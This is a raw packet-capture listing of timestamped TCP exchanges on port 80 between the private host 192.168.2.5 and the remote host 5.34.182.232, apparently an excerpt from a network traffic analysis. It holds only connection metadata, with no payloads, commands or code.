Apr 20, 2024 10:22:57.193314075 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193336010 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193351984 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193373919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193382025 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193411112 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193423986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193451881 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193461895 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193489075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193507910 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193525076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193545103 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193563938 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193567991 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193600893 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193614006 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193640947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193658113 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193680048 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193696022 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193717003 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193736076 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193753958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193762064 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193790913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193805933 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193828106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193846941 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193866014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193886995 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.193902969 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193938971 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193974018 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.193998098 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194010019 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194046974 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194071054 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194082975 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194119930 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194130898 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194156885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194194078 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194221020 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194232941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194329023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194339037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194365978 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194408894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194417953 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194446087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194482088 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194494009 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194519997 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194555998 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194566965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194596052 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194633007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194645882 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194669962 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194709063 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194719076 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194746017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194782019 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194794893 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194819927 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194856882 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194869041 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194895029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194931030 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.194946051 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.194984913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195024014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195039034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195060015 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195100069 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195133924 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195153952 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195171118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195198059 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195207119 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195244074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195274115 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195281029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195317984 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195323944 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195355892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195394993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195401907 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195431948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195470095 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195478916 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195506096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195518017 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195544004 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195560932 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195581913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195621967 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195633888 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195658922 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195677042 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195696115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195705891 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195734024 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195771933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195785046 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195807934 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195843935 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195857048 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195879936 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195915937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195928097 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.195951939 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.195988894 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196002007 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196027040 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196063995 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196074009 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196120977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196171999 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196377993 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196415901 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196451902 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196460962 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196489096 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196526051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196535110 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196563005 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196576118 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196599007 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196614981 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196638107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196650028 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196676016 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196691036 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196712017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196727037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196751118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196758032 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196788073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196798086 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196824074 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196840048 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196860075 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196868896 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196896076 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196903944 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196933985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196943045 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.196969986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.196981907 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197006941 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197030067 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197043896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197052956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197081089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197101116 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197122097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197124958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197158098 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197168112 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197195053 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197201014 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197232008 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197249889 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197268009 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197277069 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197308064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197314978 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197348118 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197355986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197386980 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.197398901 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.197431087 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.227971077 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.227991104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.228002071 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.228008986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.228015900 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.228038073 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.228070974 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.228127956 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.228130102 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437163115 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437185049 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437196016 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437207937 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437220097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437231064 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437242985 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437258005 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437264919 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437282085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437303066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437314034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437367916 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437392950 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437392950 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437412977 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437422037 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437427044 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437438011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437453985 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437483072 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437489986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437529087 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437537909 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437556982 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437592983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437592983 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437601089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437644958 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437649965 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437659025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437695026 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437695026 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437762976 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437776089 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437786102 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437798023 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437807083 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437809944 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437824011 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437836885 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437836885 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437836885 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437881947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437881947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437891006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437938929 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.437941074 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437977076 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.437994957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438008070 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438036919 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438040972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438065052 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438091040 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438092947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438107014 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438139915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438139915 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438144922 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438160896 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438170910 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438183069 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438189030 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438215017 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438235998 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438236952 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438244104 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438257933 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438261986 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438278913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438287020 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438303947 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438323975 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438333035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438344955 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438355923 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438380957 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438380957 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438409090 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438466072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438512087 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438575029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438586950 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438602924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438613892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438625097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438638926 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438638926 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438638926 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438651085 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438663006 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438663960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438683987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438702106 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438719034 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438824892 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438837051 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438847065 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438858986 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438870907 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438874960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438874960 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438883066 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438894987 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438894987 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438906908 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438918114 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438920975 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438930035 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438941002 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438941002 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438952923 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438958883 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.438966036 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438977957 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438988924 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.438992023 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439002991 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439013958 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439014912 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439028025 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439032078 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439038992 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439050913 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439063072 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439062119 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439075947 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439086914 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439088106 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439100981 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439106941 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439111948 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439124107 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439126015 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439136028 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439146996 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439147949 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439161062 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439172029 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439178944 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439182997 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439196110 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439201117 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439208031 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439219952 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439222097 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439234972 CEST	80	49708	5.34.182.232	192.168.2.5
Apr 20, 2024 10:22:57.439239979 CEST	49708	80	192.168.2.5	5.34.182.232
Apr 20, 2024 10:22:57.439248085 CEST	80	49708	5.34.182.232	192.168.2.5
